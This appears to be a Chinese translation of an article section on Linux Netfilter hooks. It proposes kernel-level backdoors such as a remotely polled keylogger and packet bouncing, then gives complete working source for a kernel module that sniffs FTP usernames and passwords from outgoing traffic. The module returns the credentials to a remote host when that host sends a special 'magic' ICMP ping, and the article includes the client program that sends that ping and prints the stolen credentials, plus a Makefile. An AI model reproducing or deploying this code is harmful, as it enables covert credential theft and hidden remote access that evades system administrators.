文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>深入Linux网络核心堆栈(3)

深入Linux网络核心堆栈(3)

时间:2007-04-03  来源:emailwrong

--[ 5 - Netfilter hook的其它可能用法

    在这里,我将提出其它很酷的利用Netfilter hook的点子,5.1节将简单的给出精神食粮,而5.2节将讨论和给出可以工作的基于内核的FTP密码嗅探器的代码,它的远程密码获取功能是确实可用的。事实上,它工作的令我吃惊的好,并且我编写了它。
   
----[ 5.1 - 隐藏后门的守护进程

    核心模块编程也许是Linux开发中最有趣的部分之一了,在内核中编写代码意味着你在一个仅受限于你的想象力的地方写代码。以恶意的观点来看,你可以隐藏文件、进程,并且做各式各样很酷的,任何的rootkit能够做的事情。那么,以不太恶意的观点来看(是的,持这中观点人们的确存在),你可以隐藏文件、进程以及干各式各样的事情。内核真是一个迷人的乐园!
   
    有了赋予内核级程序员的强大力量,很多事情成为可能。其中最有趣的(也是让系统管理员恐慌的)一个就是嵌入到内核中的后门。毕竟,如果后门不作为一个进程运行,那么我们怎么知道它的运行?当然,还是有办法让你的内核揪出这样的后门来,但是它们可不像运行ps命令一样容易和简单。现今,将后门代码放到内核中去的点子已经并不新鲜了。但是,我在这里所提出的是安放一个用作内核后门的简单的网络服务。你猜对了,正是Netfilter hook!
   
    如果你已经具备必要的技能并且情愿以做试验的名义使你的内核崩溃,那么你就可以构建简单但是有用的,完全位于内核中的,可以远程访问的网络服务了。基本上一个Netfilter hook可以通过观察收到的数据包来查找一个“魔法”数据包,并且当接收到这个“魔法”数据包时干指定的事情。结果可以通过Netfilter hook来发送。并且该hook函数可以返回NF_STOLEN,以使得收到的“魔法”数据包可以走得更远。但是要注意,当以这种方式来发送时,输出数据包对于输出Netfilter hook仍然是可见的。因此用户空间完全不知道这个“魔法”数据包的曾经到达,但是它们还是能看到你送所出的。当心!因为在泄密主机上的嗅探器不能看到这个包并不意味着在其它中间宿主主机上的嗅探器也看不到这个包。
   
    kossak与lifeline曾为Phrack写了一篇精彩的文章,该文描述了如何通过注册数据包类型处理器来完成这样的功能。虽然本文涉及的是Netfilter hook,我仍然建议阅读他们的这篇文章(第55期,文件12),因为它是一篇给出了一些非常有趣的点子的有趣读物。
   
    那么,后门Netfilter hook可以干些什么工作呢?以下是一些建议:
    -- 远程访问击键记录器(key-logger)。模块记录击键,并且当远程主机发送一个PING请求时,结果被送到该主机。这样,可以生成一个类似于稳定的(非洪水的)PING应答流的击键信息的流。当然,你可能想要实现一个简单的加密,这样,ASCII键不会立即暴露它们自己,并且某些警觉的系统管理员会想:“坚持,我以前都是通过我的SSH会话来键入那些的!Oh $%@T%&!”。
    -- 各种简单的管理员任务,例如获取当前登录到主机的用户的列表或责获取打开的网络连接的信息。
    -- 并非一个真正的后门,而是位于网络边界的模块,并且阻挡任何被疑为来自特洛伊木马、ICMP隐蔽通道或者像KaZaa这样的文件共享工具的通信。
    -- 文件传输“服务器”。我最近已经实现了这个主意,由此引起的Linux核心编程是数小时的乐趣
    -- 数据包跳跃。重定向目的为木马主机指定端口的数据包到其它的IP主机和端口,并且从那台主机发回数据包到发起者。没有进程被派生,并且最妙的是,没有网络套接字被打开。
    -- 上面描述的数据包跳跃用于与网络中的关键系统以半隐蔽方式通信。例如:配置路由器等。
    -- FTP/POP3/Telnet密码嗅探器。嗅探输出的密码并保存相关信息,直到进入的“魔法”数据包要求获取它们。
   
    以上只是一些想法的简短的列表,其中最后一个想法是我们在接下来的一节中将要真正详细讨论的。它
提供了一个很好的了解更多的深藏于核心网络代码中的函数的机会。

----[ 5.2 - 基于内核的FTP密码嗅探器

    在这里展现的是一个简单的,原理性的,用做Netfilter后门的模块。该模块嗅探输出的FTP数据包,查找对于一个FTP服务器一个USER于PASS命令对。当这样一个命令对被发现后,该模块接下来将等待一个“魔法”ICMP ECHO(ping)数据包,该数据包应当足够大,使其能返回服务器的IP地址、用户名以及密码。同时提供了一个快速的发送一个“魔法”数据包,获取返回然后打印返回信息的技巧。一旦用户名/密码对从模块读取后,模块将接着查找下一对。注意,模块每次只保存一个对。以上是简要的浏览,是该展示更多的细节,来看模块如何做到这些的时候了。
   
    当模块加载时,模块的init_module()函数简单的注册了两个Netfilter hook。第一个用于查看输入的数据包(在NF_IP_PRE_ROUTING处),尝试发现“魔法”ICMP数据包。接下来的一个用于查看离开该模块被安装的主机的数据包(在NF_IP_POST_ROUTING处),这个函数正是搜索和捕获FTP的USER和PASS数据包的地方。cleanup_module()函数只是简单的注销这两个hook。
   
    watch_out()是用于hook NF_IP_POST_ROUTING的函数,查看这个函数你可以看到,它的执行的操作非常简单。当一个数据包进入这个函数过后,将经过各种检查,以确定它是一个FTP数据包。如果它不是一个FTP数据包,那么立即返回NF_ACCEPT。如果它是一个FTP数据包,那么该模块进行检查是否已经存在一个用户名/密码对。如果存在(以have_pair的非零值标识),那么返回NF_ACCEPT,该数据包最终能够离开该系统。否则,check_ftp()函数被调用,这是密码提取实际发生的地方。如果没有先前的数据包已经被接收,那么target_ip和target_port变量应当被清除。
   
    check_ftp()开始于从数据包的开始查找"USER"," ASS"或"QUIT"。注意直到USER命令处理之后才处理PASS命令。这样做的目的是为了防止在某些情况下PASS命令先于USER命令被接收到以及在USER到达之前连接中断而导致的死锁的发生。同样,如果QUIT命令到达时仅有用户名被捕获,那么将重置操作,开始嗅探一个新的连接。当一个USER或者PASS命令到达时,如果必要完整性校验通过,则记录下命令的参数。正常运行下,在check_ftp()函数完成之前,检查是否已经有了一个有效的用户名和密码串。如果是,则设置have_pair的值为非零并且在当前的用户名/密码对被获取之前不会再抓取其它的用户名或密码。
   
    到目前为止你已经看到了该模块如何安装它自己以及如何开始搜寻待记录的用户名和密码。接下来你将看到当指定的“魔法”数据包到达时会发生什么。在此需特别注意,因为这是在整个开发过程中出现的最大难题。如果我没记错的话,共遭遇了16个核心错误 。当数据包进安装该模块的主机时,watch_in()检查每一个数据包以查看其是否是一个“魔法”数据包。如果数据包不能提供足以证明它是一个“魔法”数据包的信息,那么它将被被watch_in()忽略,简单的返回一个NF_ACCEPT。注意“魔法”数据包的标准之一是它们必须有足够的空间来存放IP地址以及用户名和密码串。这使得发送应答更加容易。当然,可以重新分配一个新的sk_buff,但是正确的获取所有必要的域得值可能会比较困难,并且你还必须得正确的获取它们!因此,与其为我们的应答数据包创建一个新的数据结构,不如简单的调整请求数据包的数据结构。为了成功的返回数据包,需要做几个改动。首先,交换IP地址,并且sk_buff数据结构中描述数据包类型的域(pkt_type)应当被换成PACKET_OUTGOING,这些宏在linux/if_packet.h中定义。接下来应当小心的是确定包含了任意的链路层头。我们接收到的数据包的sk_buff数据结构的数据域指向链路层头之后,并且它是指向被发送的数据包的数据的开始的数据域。那么对于需要链路层包头(以太网及环回和点对点的raw)的接口,我们将数据域指向mac.ethernet或者mac.raw结构。为确定这个数据包来自的什么类型的接口你可以查看sb->;dev->;type的值,其中sb是一个指向sk_buff数据结构的指针。这个域的有效值可以在linux/if_arp.h中找到,但其中最有用的几个在下面的表3中列出。
   
表3 : 接口类型的常用值

类型代码        接口类型
ARPHRD_ETHER    以太网
ARPHRD_LOOPBACK    环回设备
ARPHRD_PPP        点对点(例如拨号)

   最后,我们要做的是真正的复制我们想在的应答中送出的数据。到送出数据包的时候了,dev_queue_xmit()函数以一个指向sk_buff数据结构的指针作为它唯一的参数,在“好的错误”情况下,返回一个负的错误代码。我所说的“好的错误”是什么意思呢?如果你给函数dev_queue_xmit()一个错误构造的套接字缓冲,那么你就会得到一个伴随着内核错误和内核堆栈的dump信息的“不太好的错误”。看看在这里错误如何能被分成两组?最后,watch_in()返回NF_STOLEN,以告诉Netfilter忘掉它曾经见到过这个数据包。如果你已经调用了dev_queue_xmit(),不要返回NF_DROP!这是因为dev_queue_xmit()将释放传递进来的套接字缓冲,而Netfilter会尝试对被NF_DROP的数据包做同样的操作。好了。对于代码的讨论已经足够了,请看具体的代码。

------[ 5.2.1 - 源代码 : nfsniff.c

CODE:

 

<++>; nfsniff/nfsniff.c
/* Simple proof-of-concept for kernel-based FTP password sniffer.
* A captured Username and Password pair are sent to a remote host
* when that host sends a specially formatted ICMP packet. Here we
* shall use an ICMP_ECHO packet whose code field is set to 0x5B
* *AND* the packet has enough
* space after the headers to fit a 4-byte IP address and the
* username and password fields which are a max. of 15 characters
* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

/* Written by bioforge,  March 2003 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>;
#include <linux/kernel.h>;
#include <linux/skbuff.h>;
#include <linux/in.h>;
#include <linux/ip.h>;
#include <linux/tcp.h>;
#include <linux/icmp.h>;
#include <linux/netdevice.h>;
#include <linux/netfilter.h>;
#include <linux/netfilter_ipv4.h>;
#include <linux/if_arp.h>;
#include <linux/if_ether.h>;
#include <linux/if_packet.h>;

#define MAGIC_CODE   0x5B
#define REPLY_SIZE   36

#define ICMP_PAYLOAD_SIZE  (htons(sb->;nh.iph->;tot_len) \
                   - sizeof(struct iphdr) \
                   - sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until
* they are queried. Only one USER/PASS pair will be held at one
* time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0;     /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;           /* Incoming */
struct nf_hook_ops  post_hook;           /* Outgoing */

/* Function that looks at an sk_buff that is known to be an FTP packet.
* Looks for the USER and PASS fields and makes sure they both come from
* the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
   struct tcphdr *tcp;
   char *data;
   int len = 0;
   int i = 0;
   
   tcp = (struct tcphdr *)(skb->;data + (skb->;nh.iph->;ihl * 4));
   data = (char *)((int)tcp + (int)(tcp->;doff * 4));

   /* Now, if we have a username already, then we have a target_ip.
    * Make sure that this packet is destined for the same host. */
   if (username)
     if (skb->;nh.iph->;daddr != target_ip || tcp->;source != target_port)
       return;
   
   /* Now try to see if this is a USER or PASS packet */
   if (strncmp(data, "USER ", 5) == 0) {          /* Username */
      data += 5;
      
      if (username)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'
         && *(data + i) != '\0' && i < 15) {
     len++;
     i++;
      }
      
      if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
    return;
      memset(username, 0x00, len + 2);
      memcpy(username, data, len);
      *(username + len) = '\0';           /* NULL terminate */
   } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */
      data += 5;

      /* If a username hasn't been logged yet then don't try logging
       * a password */
      if (username == NULL) return;
      if (password)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'
         && *(data + i) != '\0' && i < 15) {
     len++;
     i++;
      }

      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
    return;
      memset(password, 0x00, len + 2);
      memcpy(password, data, len);
      *(password + len) = '\0';           /* NULL terminate */
   } else if (strncmp(data, "QUIT", 4) == 0) {
      /* Quit command received. If we have a username but no password,
       * clear the username and reset everything */
      if (have_pair)  return;
      if (username && !password) {
     kfree(username);
     username = NULL;
     target_port = target_ip = 0;
     have_pair = 0;
     
     return;
      }
   } else {
      return;
   }

   if (!target_ip)
     target_ip = skb->;nh.iph->;daddr;
   if (!target_port)
     target_port = tcp->;source;

   if (username && password)
     have_pair++;               /* Have a pair. Ignore others until
                    * this pair has been read. */
//   if (have_pair)
//     printk("Have password pair!  U: %s   P: %s\n", username, password);
}

/* Function called as the POST_ROUTING (last) hook. It will check for
* FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
                  struct sk_buff **skb,
                  const struct net_device *in,
                  const struct net_device *out,
                  int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct tcphdr *tcp;
   
   /* Make sure this is a TCP packet first */
   if (sb->;nh.iph->;protocol != IPPROTO_TCP)
     return NF_ACCEPT;               /* Nope, not TCP */
   
   tcp = (struct tcphdr *)((sb->;data) + (sb->;nh.iph->;ihl * 4));
   
   /* Now check to see if it's an FTP packet */
   if (tcp->;dest != htons(21))
     return NF_ACCEPT;               /* Nope, not FTP */
   
   /* Parse the FTP packet for relevant information if we don't already
    * have a username and password pair. */
   if (!have_pair)
     check_ftp(sb);
   
   /* We are finished with the packet, let it go on its way */
   return NF_ACCEPT;
}

/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
* When that is received, we tweak the skb structure to send a reply
* back to the requesting host and tell Netfilter that we stole the
* packet. */
static unsigned int watch_in(unsigned int hooknum,
                 struct sk_buff **skb,
                 const struct net_device *in,
                 const struct net_device *out,
                 int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct icmphdr *icmp;
   char *cp_data;               /* Where we copy data to in reply */
   unsigned int   taddr;           /* Temporary IP holder */

   /* Do we even have a username/password pair to report yet? */
   if (!have_pair)
     return NF_ACCEPT;
     
   /* Is this an ICMP packet? */
   if (sb->;nh.iph->;protocol != IPPROTO_ICMP)
     return NF_ACCEPT;
   
   icmp = (struct icmphdr *)(sb->;data + sb->;nh.iph->;ihl * 4);

   /* Is it the MAGIC packet? */
   if (icmp->;code != MAGIC_CODE || icmp->;type != ICMP_ECHO
     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
      return NF_ACCEPT;
   }
   
   /* Okay, matches our checks for "Magicness", now we fiddle with
    * the sk_buff to insert the IP address, and username/password pair,
    * swap IP source and destination addresses and ethernet addresses
    * if necessary and then transmit the packet from here and tell
    * Netfilter we stole it. Phew... */
   taddr = sb->;nh.iph->;saddr;
   sb->;nh.iph->;saddr = sb->;nh.iph->;daddr;
   sb->;nh.iph->;daddr = taddr;

   sb->;pkt_type = PACKET_OUTGOING;

   switch (sb->;dev->;type) {
    case ARPHRD_PPP:               /* No fiddling needs doing */
      break;
    case ARPHRD_LOOPBACK:
    case ARPHRD_ETHER:
    {
       unsigned char t_hwaddr[ETH_ALEN];
      
       /* Move the data pointer to point to the link layer header */
       sb->;data = (unsigned char *)sb->;mac.ethernet;
       sb->;len += ETH_HLEN; //sizeof(sb->;mac.ethernet);
       memcpy(t_hwaddr, (sb->;mac.ethernet->;h_dest), ETH_ALEN);
       memcpy((sb->;mac.ethernet->;h_dest), (sb->;mac.ethernet->;h_source),
          ETH_ALEN);
       memcpy((sb->;mac.ethernet->;h_source), t_hwaddr, ETH_ALEN);
  
       break;
    }
   };

   /* Now copy the IP address, then Username, then password into packet */
   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
   memcpy(cp_data, &target_ip, 4);
   if (username)
     memcpy(cp_data + 4, username, 16);
   if (password)
     memcpy(cp_data + 20, password, 16);
   
   /* This is where things will die if they are going to.
    * Fingers crossed... */
   dev_queue_xmit(sb);

   /* Now free the saved username and password and reset have_pair */
   kfree(username);
   kfree(password);
   username = password = NULL;
   have_pair = 0;
   
   target_port = target_ip = 0;

//   printk("Password retrieved\n");
   
   return NF_STOLEN;
}

int init_module()
{
   pre_hook.hook     = watch_in;
   pre_hook.pf       = PF_INET;
   pre_hook.priority = NF_IP_PRI_FIRST;
   pre_hook.hooknum  = NF_IP_PRE_ROUTING;
   
   post_hook.hook     = watch_out;
   post_hook.pf       = PF_INET;
   post_hook.priority = NF_IP_PRI_FIRST;
   post_hook.hooknum  = NF_IP_POST_ROUTING;
   
   nf_register_hook(&pre_hook);
   nf_register_hook(&post_hook);
   
   return 0;
}

void cleanup_module()
{
   nf_unregister_hook(&post_hook);
   nf_unregister_hook(&pre_hook);
   
   if (password)
     kfree(password);
   if (username)
     kfree(username);
}
<-->;

------[ 5.2.2 - 源代码 : getpass.c

CODE:

 

<++>; nfsniff/getpass.c
/* getpass.c - simple utility to get username/password pair from
* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
* Mostly stripped from my source for InfoPig.
*
* Written by bioforge  -  March 2003 */

#include <sys/types.h>;
#include <stdio.h>;
#include <stdlib.h>;
#include <unistd.h>;
#include <string.h>;
#include <errno.h>;
#include <sys/socket.h>;
#include <netdb.h>;
#include <arpa/inet.h>;

#ifndef __USE_BSD
# define __USE_BSD               /* We want the proper headers */
#endif
# include <netinet/ip.h>;
#include <netinet/ip_icmp.h>;

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
    unsigned char dgram[256];           /* Plenty for a PING datagram */
    unsigned char recvbuff[256];
    struct ip *iphead = (struct ip *)dgram;
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    struct sockaddr_in src;
    struct sockaddr_in addr;
    struct in_addr my_addr;
    struct in_addr serv_addr;
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    int icmp_sock = 0;
    int one = 1;
    int *ptr_one = &
   
    if (argc < 3) {
    fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
    exit(1);
    }

    /* Get a socket */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
    fprintf(stderr, "Couldn't open raw socket! %s\n",
        strerror(errno));
    exit(1);
    }

    /* set the HDR_INCL option on the socket */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
          ptr_one, sizeof(one)) < 0) {
    close(icmp_sock);
    fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
            strerror(errno));
    exit(1);
    }
   
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(argv[1]);
   
    my_addr.s_addr = inet_addr(argv[2]);
   
    memset(dgram, 0x00, 256);
    memset(recvbuff, 0x00, 256);
   
    /* Fill in the IP fields first */
    iphead->;ip_hl  = 5;
    iphead->;ip_v   = 4;
    iphead->;ip_tos = 0;
    iphead->;ip_len = 84;
    iphead->;ip_id  = (unsigned short)rand();
    iphead->;ip_off = 0;
    iphead->;ip_ttl = 128;
    iphead->;ip_p   = IPPROTO_ICMP;
    iphead->;ip_sum = 0;
    iphead->;ip_src = my_addr;
    iphead->;ip_dst = addr.sin_addr;
   
    /* Now fill in the ICMP fields */
    icmphead->;icmp_type = ICMP_ECHO;
    icmphead->;icmp_code = 0x5B;
    icmphead->;icmp_cksum = checksum(42, (unsigned short *)icmphead);
   
    /* Finally, send the packet */
    fprintf(stdout, "Sending request...\n");
    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
           sizeof(struct sockaddr)) < 0) {
    fprintf(stderr, "\nFailed sending request! %s\n",
        strerror(errno));
    return 0;
    }

    fprintf(stdout, "Waiting for reply...\n");
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
         &src_addr_size) < 0) {
    fprintf(stdout, "Failed getting reply packet! %s\n",
        strerror(errno));
    close(icmp_sock);
    exit(1);
    }
   
    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
    memcpy(&serv_addr, ((char *)icmphead + 8),
           sizeof (struct in_addr));
   
    fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
    fprintf(stdout, "Username:    %s\n",
         (char *)((char *)icmphead + 12));
    fprintf(stdout, "Password:    %s\n",
         (char *)((char *)icmphead + 28));
   
    close(icmp_sock);
   
    return 0;
}

/* Checksum-generation function. It appears that PING'ed machines don't
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
* Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
   unsigned long sum;
   
   for(sum = 0;numwords >; 0;numwords--)
     sum += *buff++;   /* add next word, then increment pointer */
   
   sum = (sum >;>; 16) + (sum & 0xFFFF);
   sum += (sum >;>; 16);
   
   return ~sum;
}
<-->;

    ** 译注:上述两个文件的Makefile:

<++>; nfsniff/Makefile
#Makefile                                             
#                                                      
                                                      
CFLAGS=-Wall                                          
LIBS=-L/usr/lib -lc
# Change include directory for your kernel                                   
MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include
MODULE_CFLAGS+=$(CFLAGS)                              
EXECUTE_CFLAGS=-ggdb                                   
EXECUTE_CFLAGS+=$(CFLAGS)                              
                                                      
all : nfsniff.o getpass                                
nfsniff.o : nfsniff.c                                 
        gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS)
        ld -r -o nfsniff.o nfsniff~.o $(LIBS)         
getpass.o : getpass.c                                 
        gcc -c getpass.c $(EXECUTE_CFLAGS)            
getpass : getpass.o                                    
        gcc -o getpass getpass.o $(EXECUTE_CFLAGS)     
clean :                                                
        rm -f *.o getpass                              
<-->;

    **译注完

相关阅读 更多 +
排行榜 更多 +
爱变幻智能清理

爱变幻智能清理

游戏工具 下载
MIYI泊松足球

MIYI泊松足球

浏览阅读 下载
Edius剪视频

Edius剪视频

图像拍照 下载